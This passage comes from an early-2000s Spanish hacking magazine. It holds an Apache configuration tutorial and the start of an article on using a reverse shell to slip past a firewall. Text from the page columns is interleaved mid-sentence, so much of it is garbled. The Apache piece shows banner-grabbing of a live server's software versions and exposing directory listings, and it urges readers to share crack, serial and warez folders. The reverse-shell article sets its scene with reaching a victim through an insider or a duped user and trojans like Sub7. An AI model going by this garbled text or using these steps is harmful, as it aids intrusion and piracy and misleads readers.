qué versión de Aceptar: apache -k start) apache está corriendo en el servidor de amen- es que contiene las páginas de Hack x Crack Al aceptar verás que no ocurre nada, escribe (www.hackxcrack.com). cualquier cosa (no verás lo que escribes) y pulsa el botón return del teclado. Al instante a) - Iniciamos el Telnet e intentamos conectarnos recibirás un texto comunicando un error de a www.hackxcrack.com. Si tienes Windows método no implementado (Error 501 Method 2000/XP, ya sabes, abres una ventana DOS y Not Implemented). Lo que ha sucedido es que escribe el servidor estaba esperando que le enviaras telnet (y pulsa return) PC PASO A PASO Nº 8 Página 19
  • 20. APACHE II - APACHE II - APACHE II - APACHE II - APACHE II - APACHE II - APACHE II * Esto inicia la consola Telnet Esto no os funcionará en todos sitios, claro… pero la experiencia es la madre de la ciencia; b) - Ahora escribes ya sabes, poco a poco y paso a paso ;) set localecho (y pulsa enter) * Esto habilita el eco local ! En el número 7... c) - Finalmente escribe open www.hackxcrack.com 80 En el número 7 de Hack x Crack, en el artículo RAW1 ya * Esto nos conecta al servidor donde están trabajamos con telnet, si no entiendes qué es eso del alojadas las páginas de Hack x Crack. localecho y otras cosas, ya sabes, pégale un vistazo al * En este momento deberías ver un mensaje número 7 :) que reza "conectándose a www.hackxcrack.com...", como en la imagen EJEMPLO 2: Telnet, para averiguar si un servidor tiene instalado el MySQL y además poder d)- Ahora averiguar la versión, simplemente tienes que e s c r i b e colocar la IP del servidor y el puerto de MySQL cualquier cosa (3306). Veeeenga, vamos allá. y pulsa enter, con lo que La pregunta es… ¿Tiene el servidor de obtendrás esto: h a c k xc ra c k . c o m e l s e r v i c i o M y S Q L ? * Ya puedes - Sigue los pasos anteriores a), b) y c) PERO buscar la en el paso c) pon versión del open www.hackxcrack.com 3306 Servidor Web, y obtendrás algo parecido a esto: ya, que no la Je, je… mira por encontrarás… donde, el servidor claro, claro, no todo es tan sencillo ;p… que de www. los administradores pueden ocultar este dato, hackxcrack.com pero eso lo solucionamos YA!!! tiene el servicio MySQL versión - Abre una nueva Ventana DOS y repite los 3.23.53… pero nos pasos hasta el punto c) incluido. Ahora, en estamos olvidando lugar de escribir cualquier cosa y pulsar enter del objetivo de este artículo, volvamos a nuestro como en el paso d), lo que hacemos es escribir querido APACHE!!! get www.hackxcrack.com y os aparecerá la versión de Apache ;p 3. Configurando el apache Toda la configuración del servidor web está guardada en el fichero llamado http.conf del directorio c:apacheconf. Este fichero de tipo texto puede ser editado con cualquier editor de textos, recomendamos el bloc de notas (más simple imposible). Pues abre el archivo y aún no toques nada, pues un cambio erróneo en este archivo y dejarás sin funcionar el servidor web. Página 20 PC PASO A PASO Nº 8
  • 21. APACHE II - APACHE II - APACHE II - APACHE II - APACHE II - APACHE II - APACHE II Una vez abierto se observa que existen líneas la web tiene miles de visitas y deseas que el precedidas por el símbolo # estas líneas como servidor no consuma recursos de sistema habrás supuesto son comentarios que describen entonces selecciona standalone, pero si quieres el parámetro y el valor que hay a continuación. mayor seguridad en tu servidor web a costa de utilizar más recursos (más memoria, más micro, ...) entonces utiliza inetd. Es necesario que sepas que Apache en plataformas Windows solo funciona el standalone mientras que en otros sistemas como Linux se acepta el Inetd, ya puedes suponer que el Apache en Windows consumirá menos recursos y que es más propenso a fallos de seguridad. ServerRoot Este parámetro indica el lugar dónde se encuentran los archivos de configuración, error y registros. Es el directorio padre de todos los ServerType archivos relacionados con el servidor Apache. El primer parámetro que encontrarás es En nuestro ejemplo es: c:/apache/ (en la imagen ServerType, este parámetro indica a Apache anterior puedes ver que el directorio padre es como debe manipular internamente las c:/apache/apache, eso es porque esa imagen peticiones de los navegantes. Lo que os corresponde a alguien que ha instalado Apache comentamos a continuación es más culturilla en el directorio c:apacheapache) que otra cosa, pero es necesario saberlo para conocer como trabaja un servidor Web Vamos a realizar una prueba cambiando este internamente. parámetro, lo primero que tienes que hacer es parar el servidor Apache (recuerda: apache.exe ServerType puede tener dos valores -k stop) una vez parado pon cualquier otra cosa standalone | inetd, entre ambos parámetros en ServerRoot, por ejemplo ServerRoot existe una gran diferencia relacionada con la c:/apacheerror/, graba el archivo de eficacia del sistema. El proceso de un servidor configuración. configurado como inetd se cierra en el mismo momento en el que termina de atender la Se ha colocado una ruta errónea, Apache petición recibida. Mientras que en el modo dispone de un sencillo debugger que te indicará standalone, el subproceso se queda el error ocurrido esperando cierta cantidad de tiempo antes de y hasta que no lo cerrarse. De esta forma se pueden volver a soluciones no te utilizar en el futuro. Como no hay que dedicar permitirá ejecutar recursos de sistema para volver a abrir el el Apache. Para proceso, se mejora la eficacia del servidor. comprobar si el Inetd tiene sus ventajas, se considera más archivo de seguro que standalone. configuración es correcto utiliza el parámetro -t, de la siguiente forma: ¿Cuándo se tiene que utilizar uno u otro?, si Apache.exe -t PC PASO A PASO Nº 8 Página 21
  • 22. APACHE II - APACHE II - APACHE II - APACHE II - APACHE II - APACHE II - APACHE II Te mostrará como resultado el número de línea para acceder al servidor será: donde se ha producido el error. Te http://127.0.0.1:8080 o recomendamos que siempre que cambies el http://www.midominio.com:8080, como verás archivo de configuración compruebes si está primero va la IP o el dominio y luego dos puntos correcto. Ahora vuelve a colocar como estaba junto al puerto. el ServerRoot (c:/apache/) Si pones en el navegador (el Internet Explorer, TimeOut Netscape o el que utilices normalmente) El valor de este parámetro indica el número de http://127.0.0.1:80 comprobarás que funciona segundos antes de enviar un timeout. Es un correctamente, en cambio si colocas cualquier valor a tener en cuenta en la optimización del otro puerto te dará error. servidor Apache, es posible y de vez en cuando ocurra que, al solicitar una página web, el Utilizando los dos puntos y el puerto puedes servidor necesite más tiempo para procesar la capturar a través del navegador información petición y enviar la página web. Imagina que de otros servicios instalados en los servidores por cualquier motivo el servidor entra en un remotos, por ejemplo, ¿quieres confirmar si el bucle infinito, esto consume mucha memoria, servidor de hackxcrack tiene un servidor MySQL micro, ... pues con el timeout le dices que a y si lo tiene que versión utiliza?, pon los X segundos pare. Las empresas de hosting http://www.hackxcrack.com:3306 en tu tienen que tener muy controlado este valor, navegador y verás que la versión es 3.23.53 ;) pues piensa en crear un bucle infinito en una página PHP que nunca llegue a responder al navegante. Esto le supone al servidor una carga de procesamiento mayor y tener un proceso ocupado un largo tiempo consumiendo recursos. El valor por defecto es de 300 segundos (5 minutos). Si utilizas tu servidor web para mostrar páginas HTML, compartir ficheros puedes dejarlo como está, pero si lo utilizas para ofrecer a tus amigos espacio web te recomendamos que reduzcas el tiempo. Port El puerto HTTP predeterminado es el 80 y es ! Puedes utilizar... el que se utiliza en la mayoría de los servidores WEB. Puedes cambiar el puerto por uno Puedes utilizar un puerto diferente para que tu web sea comprendido entre el rango 1024 y 32769, accesible desde Internet pero que no sea encontrada por ambos incluidos. Todos los puertos menores los buscadores o que sea accesible solo para tus amigos de 1024 se consideran estándares y ya están que conocen la dirección exacta, si cambias el puerto asignados por defecto a otros servicios. Ten complicas bastante la detección de una web. en cuenta que si utilizas un puerto diferente al 80, tienes que especificar el puerto en la URL dirigida al servidor. ServerAdmin Por ejemplo, si utilizas el puerto 8080, la url Cuando ocurre un error el servidor web genera Página 22 PC PASO A PASO Nº 8
  • 23. APACHE II - APACHE II - APACHE II - APACHE II - APACHE II - APACHE II - APACHE II un error y no puede mostrar la página solicitada Por ejemplo, puedes tener otra unidad "e" envía una página de error, en esa página se donde colocarás los archivos HTML, GIF, MP3, muestra una dirección email del administrador DIVX, ..., Los parámetros a modificar serían: de sistema. De esta forma los visitantes del sitio web podrán informar de cualquier problema ServerRoot "C:/apache/ " a través de un mensaje de correo electrónico. DocumentRoot "E:/" Por ejemplo: ServerAdmin webmaster@tudominio.com Como puedes ver el root del servidor (ServerRoot) está donde se instaló el Apache Servername mientras que el Root de las páginas web se encuentra en la unidad E. De esta forma tan Aquí puedes colocar un dominio o una IP, sencilla has dificultado el acceso al sistema de recuerda que este parámetro se configuró en curiosos, os aseguro que muchas empresas de la instalación (en unos de los pasos explicados hosting tienen un servidor muy potente con un en HxC nº7), ahora ya puedes cambiarlo con disco duro de muchas gigas (en una unidad) el valor que quieras, como es un servidor de y este disco duro está compartido por el sistema p r u e b a s p o n S e r ve r n a m e 1 2 7. 0 . 0 . 1 operativo y todos los dominios, cualquier webmaster con nociones de PHP puede acceder DocumenRoot a otros dominios si estos parámetros están mal configurados. Primero vamos a aprender a Este parámetro indica al servidor que ha de configurar el Apache que luego, en futuros considerar el directorio especificado como el capítulos, veremos como podemos acceder al path del nivel superior. La elección de este contenido de otros dominios teniendo acceso directorio es muy importante, por ejemplo si desde uno ;) el valor es DocumentRoot "c:/" podrás acceder a todo el disco duro. Obviamente se puede Te adelantamos un detalle proteger dichos archivos estableciendo los Hemos explicado varios parámetros que son permisos oportunos. muy importantes para la configuración del servidor Apache, el fichero httpd.conf lo tienes A este root (el documentRoot) se le llama Root configurado para que funcione en un sólo virtual, para aclarar el documentroot y que espacio web, es decir, tienes un dominio o IP veas la utilidad de este importante parámetro, asociado a un espacio de disco de tu ordenador. el valor es la ruta PATH del disco desde donde Pues te adelantamos que puedes crear más puede Apache encontrar las páginas web por espacios webs en tu ordenador, es decir, ¿has defecto. pensado ofrecer hosting a tus amigos?, con Apache es posible, puedes alojar en tu mismo Si tienes dos discos duros, puedes colocar en ordenador varios dominios y cada uno con su un disco duro la instalación de Apache junto propia configuración. Pero no corramos, en el con los archivos del sistema operativo y colocar próximo capítulo aplicaremos todo lo aprendido en otro disco duro las páginas webs, de en este número, que no es poco, creando varios este modo no corres el riesgo de que algún sitios en tu propio ordenador. Tu servidor no curioso pueda acceder al disco duro donde será muy diferente a los servidores de empresas tienes instalado el sistema (apache, sistema de hosting. operativo) y fastidiarte como ya te puedes imaginar. ¿Por qué te decimos todo esto? Muy sencillo, PC PASO A PASO Nº 8 Página 23
  • 24. APACHE II - APACHE II - APACHE II - APACHE II - APACHE II - APACHE II - APACHE II todos los parámetros que hemos comentado verás que dice que no tienes permisos para son globales, es decir, afectan a todos los sitios ver el contenido del directorio. ¿Qué pasos ha creados. Puedes configurar sitios con seguido Apache?, lo primero que ha realizado parámetros personalizados, por ejemplo, puedes es buscar el archivo índice con extensión .html crear un sitio que para acceder tengan que y como no lo ha encontrado ha mostrado la poner el puerto 8080 y otro sitio con el puerto página de que no tienes permisos para ver el 80. Más adelante verás la diferencia. contenido. "Ocultamiento" de archivos Mira el fichero de configuración (httpd.conf), busca lo siguiente: En el directorio del sitio web (c:apachehtdocs, <Directory /> recuerda que aquí es donde tienes que alojar Options FollowSymLinks todas las páginas html e imágenes) tienes que AllowOverride None tener un index.html de "Hola mundo" creado </Directory> en HxC nº 7, pues bórralo y crea los siguientes directorios: divx, mp3, xxx, crack, serial y De la siguiente forma (muy simple), le indicamos warez. a Apache las propiedades del directorio raíz (fíjate que pone /). Poner / es lo mismo que poner el valor de DocumentRoot. Por lo tanto lo anterior es lo mismo que: <Directory c:apachehtdocs > Options FollowSymLinks AllowOverride None </Directory> Ahora comenta el contenido, déjalo como sigue: <Directory c:apachehtdocs > #Options FollowSymLinks #AllowOverride None </Directory> Como estarás un poco harto de parar el servidor para luego iniciarlo, los creadores de Apache ya pensaron ello y buscaron una solución. Si utilizas apache -k restart reinicias el servidor web sin necesidad de parar el servidor web. Recuerda que el parámetro DocumentRoot tiene que apuntar al directorio donde has Pon de nuevo la url http://127.0.0.1, ¿qué ves?, creado los directorios, en este caso sería han aparecido los directorios creados incluso DocumentRoot "c:apachehtdocs". puedes navegar por ellos. De esta forma tan sencilla puedes compartir tus ficheros sin Con Apache en marcha (Apache.exe -k start) necesidad de conocer HTML y sin instalar otros pon en el navegador la url: http://127.0.0.1 programas. Cualquier navegante que ponga (suponiendo que hayas dejado el puerto 80), tu url accederá a los directorios y podrá Página 24 PC PASO A PASO Nº 8
  • 25. APACHE II - APACHE II - APACHE II - APACHE II - APACHE II - APACHE II - APACHE II descargarse los archivos. se encuentre en dicho directorio, algo muy peligroso para la seguridad del servidor ;) La decisión de ocultar los archivos depende de la utilidad que le des a la web, en esta práctica se han creado las carpetas (crack, divx, mp3, serial, warez, xxx) para poder compartir los archivos sin necesidad de FTP. La mayoría de los servidores de alojamiento gratuito tienen prohibido que alojes ficheros de gran tamaño como los archivos divx o algunos mp3. Ahora puedes utilizar tu propio servidor web para compartir los archivos sin depender de los servidores gratuitos que te ponen tantas pegas. 4.- ¿Qué has aprendido? Has aprendido a arrancar, parar y resetear el servidor Apache mediante el comando ¿Quieres ver el contenido de uno de los Apache.exe. Has aprendido a averiguar la versión directorios de hackxcrack? Pon del servidor Apache mediante el cliente telnet http://www.hackxcrack.com/imagenes/ o e incluso de otros servicios utilizando el http://www.hackxcrack.com/entrada/, al no navegador. Has aprendido las principales tener un fichero índice (index.html) muestra directivas globales del servidor Apache y como el contenido del directorio. utilizarlas para configurar y proteger tu servidor Apache. Has aprendido a compartir archivos Te sorprenderás si haces pruebas con otros utilizando el servidor y accediendo mediante servidores, verás que muchas veces los un simple navegador. administradores no protegen los directorios dejando los contenidos accesibles a los curiosos. ¡¡ Ya sabes algo más del funcionamiento de Muchas veces los programadores web dejan 22.045.420 servidores webs !! ficheros txt con instrucciones de cómo usar algunos ficheros, al dejar visible los directorios Como ejercicio puedes poner en marcha un y además poder navegar en ellos podrás acceder propio servidor web y compartir MP3 y algunas a información que tal vez sea privada. Es pelis, anuncia la url en el foro de hackxcrack, importante que pongas un fichero índice en ¿algún valiente? aquellos directorios que no deseas que se muestren los archivos (cuando hablamos de En el próximo número ... fichero índice nos referimos al index.html). Sin Ampliaremos las directivas y crearemos el fichero índice el servidor mostrará servidores virtuales para que puedas ofrecer a automáticamente uno con una serie de enlaces tus amigos espacio web como lo hacen los que permitirán acceder a su contenido, de esta grandes portales como Iespana, Terra, Lycos, forma es posible acceder a la información vital ... pero sin publicidad. o que, alguien que carece de los permisos oportunos, ejecute algún archivo binario que Recuerda que lo más importante es que te des PC PASO A PASO Nº 8 Página 25
  • 26. APACHE II - APACHE II - APACHE II - APACHE II - APACHE II - APACHE II - APACHE II cuenta de que tu pequeño ordenador puede tanto de tu servidor web Apache pues la mayoría ser visto como un gran servidor de cara a los de ellos tienen otro servidor Apache ;) navegantes, y que el funcionamiento de los servidores web a los que te conectas no difieren David C.M SUSCRIBETE A PC PASO A PASO 45 EUROS (10% DE DESCUENTO) SUSCRIPCIÓN POR: + 1 AÑO = SORTEO DE UNA CONSOLA XBOX + 11 NUMEROS SORTEO 2 JUEGOS PC (A ELEGIR) C o n t r a R e e m b o l s o Giro Post al Solo tienes que enviarnos un mail a preferente@hackxcrack.com Envíanos un GIRO POSTAL por valor de 45 EUROS a: indicando: CALLE HIGINIO ANGLES Nº2, 4º-1ª - Nombre CP 43001 TARRAGONA - Apellidos ESPAÑA - Dirección Completa IMPORTANTE: En el TEXTO DEL GIRO escribe un mail de contacto - Población o un número de Teléfono. - Provincia - Cógigo Postal Y enviarnos un mail a preferente@hackxcrack.com indicando: - Mail de Contacto y/o Teléfono Contacto - Nombre Es imprescindible que nos facilites un mail o teléfono de contacto, - Apellidos puesto que 24 horas después de que recibamos tu petición de - Dirección Completa subscripción te daremos un número de Cliente Preferente. Este - Población número será utilizado para los sorteos. - Provincia - Tipo de Subscripción: CONTRAREEMBOLSO - Cógigo Postal - Número de Revista: - Mail de Contacto y/o Teléfono Contacto Este será el número a partir del cual quieres subscribirte. Si deseas Es imprescindible que nos facilites un mail o teléfono de contacto, (por ejemplo) subscribirte a partir del número 5 (incluido), debes poner puesto que 24 horas después de que recibamos tu petición de un 5 y te enviaremos desde el 5 hasta el 15 (ambos incluidos) subscripción te daremos un número de Cliente Preferente. Este número será utilizado para los sorteos. APRECIACIONES: - Tipo de Subscripción: GIRO POSTAL * Junto con el primer número recibirás el abono de 45 euros, precio - Número de Revista: de la subscripción por 11 números (un año) y una carta donde se te Este será el número a partir del cual quieres subscribirte. Si deseas indicará tu número de Cliente Preferente y justificante/factura de la (por ejemplo) subscribirte a partir del número 5 (incluido), debes poner subscripción. un 5 y te enviaremos desde el 5 hasta el 15 (ambos incluidos) * Puedes hacernos llegar estos datos POR MAIL,tal como te hemos indicado; rellenando el formulario de nuestra WEB APRECIACIONES: (www.hackxcrack.com) o enviándonos una carta a la siguiente dirección: * Junto con el primer número recibirás una carta donde se te indicará CALLE HIGINIO ANGLES Nº2, 4º-1ª tu número de Cliente Preferente y justificante/factura de la subscripción. CP 43001 TARRAGONA * Puedes hacernos llegar estos datos POR MAIL,tal como te hemos ESPAÑA indicado; rellenando el formulario de nuestra WEB * Cualquier consulta referente a las subscripciones puedes enviarla (www.hackxcrack.com) o enviándonos una carta a la siguiente dirección: por mail a preferente@hackxcrack.com CALLE HIGINIO ANGLES Nº2, 4º-1ª CP 43001 TARRAGONA ESPAÑA * Cualquier consulta referente a las subscripciones puedes enviarla por mail a preferente@hackxcrack.com Página 26 PC PASO A PASO Nº 8
  • 27. REVERSE SHELL BURLANDO AL FIREW ALL 1.- NOTA DEL AUTOR. os suene a chino a muchos de vosotros, la consecuencia práctica es que no podréis ejecutar Hola a todos. el programa en un Windows... ¿A qué esperáis Antes de entrar en materia me gustaría para instalaros un Linux? ;-) En los foros de comentar unos cuantos puntos que me parecen hacxcrack encontrareis mucha información útil importantes... Sí, ya sé. "Otro rollo para ocupar si os decidís a hacerlo. espacio con paja", diréis... Po zí, o no, o yo que sé. Lo único que sé es que CREO que debo ! Comentario de... decirlo ;-) Comentario de Hack x Crack: El FORO de hackxcrack (en En primer lugar quiero dejar claro que este es www.hackxcrack.com) es donde mejor puedes solucionar un artículo que intenta profundizar en un tus dudas con respecto a los artículos publicados en esta concepto, y no enseñaros a configurar una revista. Muchos de vosotros nos enviáis mails preguntando herramienta que os permita explotar un bug, sobre los problemas que os surgen a la hora de hacer los romper un sistema o haceros con un servidor. ejercicios y es imposible contestar a todo el mundo, para Si lo que buscáis es esto... Mejor que paséis a eso existe EL FORO, para compartir con todos tus dudas otro artículo. y tus conocimientos. De verdad, si tienes dudas, por favor, pásate por el foro y formula tus preguntas para que entre En segundo lugar, este artículo NO pretende todos podamos intentar ayudarnos. en NINGÚN caso ser una introducción al concepto de "firewall" ni una iniciación a la programación Perl. Esos son temas que deben ser tratados a fondo y, corresponderían a otro En quinto lugar decir que, si bien algunos artículo (aunque no creo que la mejor forma conceptos tratados en este artículo puedan de aprender perl, p.ej., sea leer artículos... son parecer algo avanzados a alguien sin sólo un complemento). conocimientos, es bien cierto que deberéis acostumbraros a manejarlos cuanto antes si En tercer lugar, mi intención NO es que sepáis de verdad estáis interesados en temas de como burlar la seguridad de una red para seguridad. En números atrasados YA se han aprovecharos fraudulentamente de ello. Lo mencionado temas como "puertos", "shell (o único que pretendo es que entendáis como interfaz de comandos)", "netcat", "TCP/IP", alguien podría llegar a "burlar" ciertos elementos etc. Tratad de ahondar en estos, y otros, de seguridad de vuestros sistemas y os preparéis conceptos. A pesar de lo maravillosa que pueda para hacerle frente. ser esta revista, no es la única fuente de información que tenéis a vuestra disposición... En cuarto lugar debo mencionar que el Usad cuantas podáis. No es más que un consejo programilla que se expone al final del artículo ;) funciona bien en UNIX (o sistemas "UNIX style" como GNU/Linux). Esto es debido al modelo Finalmente quisiera dar el mérito a quien lo de programación empleado, donde se realiza tiene. Gracias a Breos por su paciencia y una llamada a la función "fork", propia del UNIX colaboración. Gracias a Van Hauser de THC, la (Windows utiliza threads)... Aunque todo esto idea del programa original (rwww-shell) es toda PC PASO A PASO Nº 8 Página 27
  • 28. REVERSE SHELL - REVERSE SHELL - REVERSE SHELL - REVERSE SHELL - REVERSE SHELl suya, así como el mérito en el desarrollo de la Víctima: El ordenador de la red interna al que misma. Y gracias a hackxcrack por tratar de tenemos algún tipo de acceso pero no podemos facilitarnos una publicación que trate estos (y controlar desde el exterior. otros temas) de forma que puedan estar al alcance de todos. Otros Equipos: Otros ordenadores y/o periféricos que forman parte de la red interna. 2.- PRIMER ESCENARIO. Supongamos el siguiente escenario. Existe una Firewall: El cortafuegos que el Administrador red de área local, que se conecta a Internet a ha colocado entre Internet y la red interna, través de un firewall de filtrado de paquetes incluida la máquina víctima. IP (luego pongo un ejemplo para intentar explicar este "extraño" concepto). Nosotros Reglas de tráfico entrante: El Administrador tenemos acceso a una de las máquinas de la ha configurado el cortafuegos para que NADIE red interna (sea porque trabajamos allí, porque pueda comenzar una conexión desde el exterior tenemos un infiltrado o porque hemos logrado con una máquina de la red interna. No importa que un "pipiolo" ejecute todo lo que le enviamos que puertos tenga abiertos la máquina por correo), pero NO podemos establecer una “víctima”... EL cortafuegos no dejará que se sesión interactiva (o sea, abrir una consola) llegue a ellos (parará los intentos de conexión). desde el exterior porque el firewall nos lo impide. Reglas de tráfico saliente: El Administrador ha configurado el cortafuegos para que Veamos como podría ser esto: cualquiera de la red interna pueda conectarse a Internet vía HTTP (o sea, para navegar por páginas web). Además, también se permite tráfico SMTP y POP a una IP determinada (para Víctima el envío y recepción de correo). El resto del tráfico saliente no está permitido. Reglas de tráfico Internet ! Comentario de... entrante Comentario de Hack x Crack: Si no tienes ni idea de lo que es un firewall sería recomendable que te leyeses el Otros número 1 de esta revista, lo tienes disponible en nuestra equipos Reglas de tráfico Web de forma totalmente gratuita ;) saliente Bien... Llegados a este punto podemos explicar un poco más a fondo lo que sucede con las reglas entrantes y salientes. Para ello explicaremos MUY básicamente que hace el cortafuegos de filtrado IP que hemos supuesto Víctima: El ordenador de la red interna al que en nuestro escenario. tenemos algún tipo de acceso pero no podemos controlar desde el exterior. Veamos lo que significa el tipo de reglas de Página 28 PC PASO A PASO Nº 8
  • 29. REVERSE SHELL - REVERSE SHELL - REVERSE SHELL - REVERSE SHELL - REVERSE SHELl tráfico entrante que se han definido: Se ha páginas de guarras, que es mucho más dicho que el cortafuegos no permitirá que se productivo). Se trata de una regla muy común inicie una conexión desde el exterior con que encontrareis, de una u otra forma, en la ninguna máquina de la red interna. Esto quiere mayoría de los cortafuegos empresariales. decir que, si colocamos un troyano convencional (tipo B.O. o Sub7) a la escucha en el puerto Esta regla sería más o menos como sigue: 5000 de nuestra máquina víctima NO NOS "Permite que las máquinas de mi red interna SERVIRÁ DE NADA, porque el cortafuegos no hagan peticiones a cualquier máquina de dejará que nos conectemos a esa máquina Internet, siempre que las dirijan a los puertos desde casa por muchos puertos, troyanos y/o 80 o 443 usando el protocolo TCP". servicios que tengamos a la escucha. El famoso serv-u comentado en un número anterior de esta revista NO nos permitiría conectarnos a Paso 1: el Pc Víctima SE CONECTA al PC EXTERIOR esta máquina... Ese maldito cortafuegos... Pc Firewall Internet Pc Víctima Atacante Tendríamos una regla que se podría traducir así: “Impide el intento de conexión a cualquier puerto de cualquier máquina de mi red interna si el origen viene desde Internet, sea el protocolo que sea” Intentando Permitiendo con un Servidor Web conectarse al peticiones al (o cualquier otro Pc Firewall Internet Pc puerto 80 ó 443 puerto80 y 443 software) atendiendo Víctima Atacante de un Pc de cualquier Pc las peticiones al EXTERIOR EXTERIOR puerto 80 Paso 2: el Pc EXTERIOR permite la conexión y envia los datos ped idos al Pc Víctima Pc Firewall Internet Pc Víctima Atacante Tiene un Bloqueando Intentando troyano cualquier início iniciar una escuchando en de conexión conexión en el el puerto 80 desde el puerto 5000 del exterior PC víctima 5000 Recibiendo Permitiendo el Enviando una Ahora fijémonos en las reglas de tráfico saliente. contestación paso de la respuesta al Pc Podemos ver que, si es la máquina víctima la respuesta del Víctima Pc EXTERIOR que inicia la conexión (desde dentro y no desde fuera), se nos permite conectarnos a los puertos 80 y 443 de cualquier máquina de Internet (puertos más comunes de los servidores Web). ! Comentario de... Esto está pensado para que la gente de la red COMENTARIO DE HACK X CRACK: Muchos lectores interna pueda navegar por Internet y realizar estarán preguntándose como es posible que en el PASO 2, las funciones propias de su trabajo (o ver las PC PASO A PASO Nº 8 Página 29
  • 30. REVERSE SHELL - REVERSE SHELL - REVERSE SHELL - REVERSE SHELL - REVERSE SHELl el PC EXTERIOR pueda enviar datos al PC Víctima De modo que pasas y establecéis una comunicación de la teniendo un Firewall que en principio debería DETENER siguiente forma: cualquier tipo de "transferencia". Bien, ES Comandante (PC Víctima): Te requirió a su presencia de IMPRESCINDIBLE que entiendas lo siguiente: Una cosa forma inmediata. es la "Petición de Conexión" y otra muy distinta la Tú (PC Exterior): Llegas ante el Teniente y te identificas "Respuesta a una petición" y posterior "Conversación". como alguien que ha sido requerido por el comandante. Vamos a ver estos conceptos dos ejemplos: un "paralelismo Teniente (FIREWALL): Verifica que efectivamente fue el militar" ;) y un "amigo pasota". comandante el que te llamó, y no eres un jetas que trata de entrar con una treta para llenar el sillón del comandante Paralelismo Militar: con miguitas de pan. Una vez verificado te deja pasar sin Supongamos que eres soldado raso del glorioso cuerpo de problemas ni preguntas. la legión española. Supongamos también que estás destinado en un cuartel con un reglamento muy estricto. --- En este momento establecéis una conversación --- Tú: Entras y te presentas ("A sus ordenes de usted, mi Este reglamento prohibe que un soldado raso (PC Exterior) Comandante, se presenta el soldado raso Juan Tanamera hable con el comandante del puesto (PC Víctima) SIN Guajira"). haber sido preguntado o requerido por el mismísimo Señor Comandante (PC Víctima). Es decir, si el comandante no Comandante: Te dará las ordenes oportunas ("vaya a limpiar se pone en contacto contigo, olvídate de mantener una mi retrete de inmediato... Esta mañana la diarrea no me charla con él. permitió llegar a tiempo al excusado."). Como tú (PC Exterior) eres mu chulo, decides que vas a Tú: Te aseguras de lo que tienes que hacer ("¿Con la lengua, ir a hablar con el comandante (PC Víctima). Entras en las mi Comandante?"). dependencias y te encuentras con un Teniente (FIREWALL) Comandante: Te contesta ("Por supuesto soldado. ¿Acaso plantado delante de la puerta del comandante. Le explicas hay otra forma?"). al Teniente educadamente que necesitas hablar con el Señor Comandante (Petición de Conexión), pero tan sólo recibes --- Fin de la conversación --- un "NO" como respuesta. Da igual como te pongas... De hecho, si eres demasiado insistente puedes provocar las Tú te retiras y no podrás volver a hablar con él hasta que iras del teniente y dar con tus huesos en el calabozo (baneo seas requerido a su presencia nuevamente (por mucho que al canto ;p). trates de ir a asegurarle lo limpio que lo has dejado todo, mostrándole las pruebas del trabajo bien hecho aún visibles Ese mismo día el comandante TE LLAMA (Petición de en tu lengua) Conexión al PC Exterior). Llegas al despacho y te encuentras con el mismo teniente (FIREWALL). Le explicas que te Como puedes ver, es perfectamente posible que entables ha llamado el comandante (PC Víctima) y el Teniente, un diálogo con el comandante... Pero es él quien debe después de verificar que en efecto ha sido así, te franquea realizar la petición de que ese diálogo se produzca. Si lo el paso sin problemas. Está "obligado" por el mismo intentas tú, sólo conseguirás estrellarte una y otra vez contra reglamento a dejarte pasar, o sería él el que no está el teniente de turno. cumpliendo su función al no permitir que te comunicases con vuestro jefe supremo A REQUERIMIENTO DE ESTE Ahora veamos los protagonistas nuestra historia: (con el riesgo de dar él con sus huesos en el consabido calabozo). Soldado Juan Tanamera Guajira (Tú): Máquina Página 30 PC PASO A PASO Nº 8
  • 31. REVERSE SHELL - REVERSE SHELL - REVERSE SHELL - REVERSE SHELL - REVERSE SHELl Atacante/Exterior. intentos de conexión desde el exterior, también puede Teniente: Firewall... Sigue al pie de la letra un reglamento auditar el tráfico y decidir si los datos que le llegan desde claro y estricto. el exterior son los esperados o no. Guarda este último Comandante: Máquina Víctima (hombre, visto así... je je párrafo "calentito" en tu mente, lo necesitarás cuando je) avances en el artículo ;p Pos eso ;) Perdonad si hemos sido demasiado "pesados" con estos ejemplos, pero repito que ES IMPRESCINDIBLE entender AMIGO PASOTA: estos conceptos. He visto cómo muchas personas "se Imaginemos que estamos andando por la calle y vemos (a pierden" leyendo textos de Seguridad Informática porque lo lejos) a un conocido, le pegamos un grito (intento de no saben diferenciar los distintos "estados" por los que conexión) PERO como nuestro amigo es un tipo muy pasa una "sesión/conexión". Cuando expliquemos (un día "cerrado" hace como que no te oye y sigue su camino sin de estos) detalladamente cómo se establecen las conexiones, hacerte caso. Tu "conocido" es como si tuviese un firewall verás que hay muchos más pasos intermedios de los que en el cerebro, no admite intentos de conexión!!! te puedas llegar a imaginar ;) Otro día ese mismo conocido te da unos golpecitos por la espalda y te saluda amablemente (intento de conexión) y Además, Nos encontramos con que podemos tú le devuelves el saludo (aceptación de conexión) e iniciáis enviar y recibir correo, usando el servidor de una conversación que dura 20 minutos (intercambio de correo de nuestro ISP (Proveedor de Internet). datos después de la aceptación de conexión). Supongamos que la dirección IP del servidor de correo de nuestro ISP es 10.20.20.1 (por Date cuenta que una cosa es el INTENTO DE CONEXIÓN supuesto, esta dirección IP pertenece a un (el saludo) y otra es el INTERCAMBIO DE DATOS (la rango inválido en Internet y se usa solo como conversación). Lo que hace el FIREWALL es impedir los ejemplo). Los puertos comunes para el correo intentos de conexión desde el exterior, pero no el intercambio saliente y entrante son el 25 y el 110 de datos. Y por descontado, si no hay "saludo" (conexión), respectivamente. no hay conversación (intercambio de datos); lee el número 1 de Hack x Crack y verás otro ejemplo :) Nos encontramos con una regla similar a esta: Antes de cerrar esta larga NOTA, explicamos algo más. El "Permite que las máquinas de mi red interna FIREWALL puede no solo impedir conexiones desde el se conecten con la máquina que está en la exterior, sino que además, puede que no le guste la dirección de Internet 10.20.20.1 siempre que conversación y cerrarla de inmediato… je, je… ¿Cómo? el tráfico se dirija a los puertos 25 o 110, usando ¿Qué? Si, es muy sencillo!!! Imagina que el PC Víctima el protocolo TCP". inicia una conexión con un PC EXTERIOR esperando encontrar la respuesta de un Servidor Web (que habla un ! Nota para... lenguaje llamado http ;)) PERO en lugar de recibir la respuesta esperada, el PC EXTERIOR le responde en otro NOTA PARA LOS PURISTAS: Generalmente existirá, al lenguaje (protocolo ;))… ummm… entonces el FIREWALL menos, una regla más relacionada con las peticiones DNS se cabrea y cierra la conexión inmediatamente!!! Como 